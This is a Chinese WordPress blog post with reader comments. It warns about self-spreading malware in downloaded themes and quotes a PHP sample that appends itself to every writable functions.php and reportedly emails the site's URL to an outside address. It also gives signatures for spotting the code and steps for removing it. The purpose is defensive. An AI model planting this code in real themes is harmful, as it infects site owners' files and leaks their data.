不经意看到了哼哼猪的 《博主们注意了!赶快检查下你的 WordPress 里面是否包含恶意代码》一文,就好奇的检查了一下,结果。。。尼玛居然还真中招了!难怪老是觉得 WP 的后台卡卡的,一点都不流畅!而且后台提交文章经常会出现 502 或 503 的无法打开页面!估计就是这玩意在作祟!
下面内容摘自原文:
代码太长放到下面,先说说此段代码的来源和危害:
此段代码来源一般是在 WordPress 主题里面自带,可能免费主题、破解主题或者收费主题,大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。
再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的 functions.php,并在 functions.php 文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的 url 地址到livethemas@gmail.com(可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将 email 地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此 email 地址)
危害:单单从这段代码来说,也没什么大的问题,不过因为已经感染此代码且感染网址也发给了恶意病毒代码散播者,这样你的网站可能就会有选择成为下一步攻击目标。另外如果下面的代码不完整或者你的 Mysql 有一些安全限制会导致下面代码的一些项添加不完整,导致网站打开错误,其实这也是发现问题所在的原因。
小技巧:当你制作或使用一个安全主题时,你可以在 functions.php 文件结尾处的最后一个“?>”前添加上“//所有设置已完成”,这样如果被而已添加就能很快发现!
如何清除此段恶意病毒代码呢:
清理也很简单,直接在 functions.php 文件里面找到下面的代码删除即可,但因为一旦感染会导致你 themes 主题目录所有主题都感染,因此你只清除当前使用主题是无效的,你清除后很快就会生成,因此你清除掉一个主题的代码后,把 functions.php 文件设置为 444 权限,然后再清理其他主题即可。至于最后 functions.php 文件的 444 权限是否需要改回去,个人建议 444 挺好挺安全的,等要修改的时候再修改就行了。
functions.php 里面的恶意病毒代码实例如下(可能会有些差异,但基本代码是相同的):
<?php function _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } // 代码太长,略之! ?>
这些代码存在于 wp-content/themes 下的所有主题的所有 functions.php 文件里。
通常以下面这些函数特征出现:
function _checkactive_widgets function _get_allwidgets_cont function stripos function strripos function scandir add_action("admin_head", "_checkactive_widgets"); function _getprepare_widget add_action("init", "_getprepare_widget"); function __popular_posts
现场说法:
我在检查后台主题 functions.php 时发现,我的博客居然也被感染了!
首先在知更鸟主题中发现大段的恶意代码,鸟哥做主题的时候明显是加上了{全部结束}的注释。后面的多余的内容我还一直以为是 WP 自己给加上的。。。。
然后,我打开了手机主题 Mobile pack 的 functions.php 看了下,发现居然也有!看来真是有传染性:
二话不说,果断删除全部恶意代码:
检查无误后,我开始做预防措施。将 2 个主题的 functions.php 的权限设置为 444,只允许读取,不允许写入:
恶意代码风波到此就告一段落了!看来以后不能随便测试主题了!像哼哼猪说的一样:大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。
我记录这篇博文的主要目的就是为了提醒和我一样不知情的 WordPress 菜鸟站长,赶紧检查一下你的 WP 是不是被注入饿了恶意代码!我敢说,不知情的博主,感染率估计能有 80%以上!尤其是经常换主题的博客!各位博友,赶紧检查下自己的博客,有则删之,无则预防!
过来赞一个
你的也是WP,你不看下有没有被插入恶意代码?
这个必须要顶!!!赶快检查下。。。
我觉得80%以上的都被嵌入恶意代码了,而像我和你这样喜欢换主题的更是接近100%。。。
我没有被嵌入...
看来是我RP不好。。
我就有这么一大段,起初还以为是自己加的 :shock: ,可实在是想不起来在哪加的了,一查原来如此。知道这是因为什么加上去的吗?我都是直接编辑网站上的文件的,本来记事本上的排版还好,有一次保存后记事本都没关直接就变成全横的了。然后就坏了
最后我直接换的function.php
真得检查下
经检查,幸好我的都没有出现!
赶紧把functions.php的权限设置为444,预防。
不知道是不是我技术问题,我这个主题在后台根本就没有编辑功能,想修改只能下载下来修改,所以不管它了。我也不想折腾主题了。
编辑按钮好像是主题作者定义的,你的主题是自己做的,所以没有,可以网上搜下WP主题制作教程,把编辑功能加上即可。
有机会再弄,我现在很少改动,就是今天改了一些页码,以后修改就更少了。不想再折腾了。
还没检查 代码能力有点差
呃。。非常明显的,就是functions.php下面。。找相关的函数,如果有,那么表示中招了
好吧 我对照你的例子看看
还好我的不是wp
嗯,哈哈
为嘛刚才我电脑进的首页,却是进的手机版?
服务器硬盘cache有点问题,主机商在修复。
这个搞不懂,怎么会中招的。我的不知道有没有中招
估计中招了,我用的主题,你也用了。。
代码能力太差劲了,我得对着你的图看看
直接搜索试试,我后面给了一些特征码。
貌似没有找到
还没注意过这个问题。
刚刚查了下,我也中招了
中招概率较高。
好博客,欢迎回访,提供虚拟主机,服务器托管租用,云服务器等业务
赶紧回去找找看…
我的没有,其实有新版本立即更新就可以避免了吧。
这个是主题带有的恶意代码,还会传染给其他主题,WP更新了都没有用。
另外,你的链接没法设置么?
没办法 多说似乎不行
搞不懂这样做对放恶意代码的人有什么好处
听说是窃取一些信息,发送到指定邮箱。。不过没发现进一步动作。
要是我写这个,我就写潜伏代码,等博客流量大了就给弹窗,哈哈哈哈
这个可以有。
你很坏啊
这个我倒是没发现呢
有则删之,无则预防~记得把那个文件的权限设成444即可
我也找到了,但是不知道该删除哪里,没找到你删除的那个内容
你找到了?你可以吧function发到群共享,我帮你看看。
请问群是多少?我也发上来帮我看看。
344134224
我的班级官网愉快地中招了
感谢博主!好恐怖,我说为什么我的模板函数多了一大堆莫名其妙的代码!发现你上面列举的函数特征我每条都有。再也不敢乱装主题了!(我有乱试主题的习惯)
安装新主题之前,检查一下新主题functions下有没有恶意代码就好了。有的话就会传染给其他主题。
请教,删除后,页面出现空白页
把原始的functions.php发我邮箱看看,im@zhang.ge
昨天发现也中招了 我虽然不懂PHP代码 但是我知道 一个PHP文件完全没有必要写2次开关
百度一下 我才知道 不知道哪个死全家的弄的这个代码 坑爹
受教了,以后用网上下载的主题都要慎重啊
刚刚看到这篇文章,感谢博主提醒。整个网站都很不错,到处都是学习的精华,为你点赞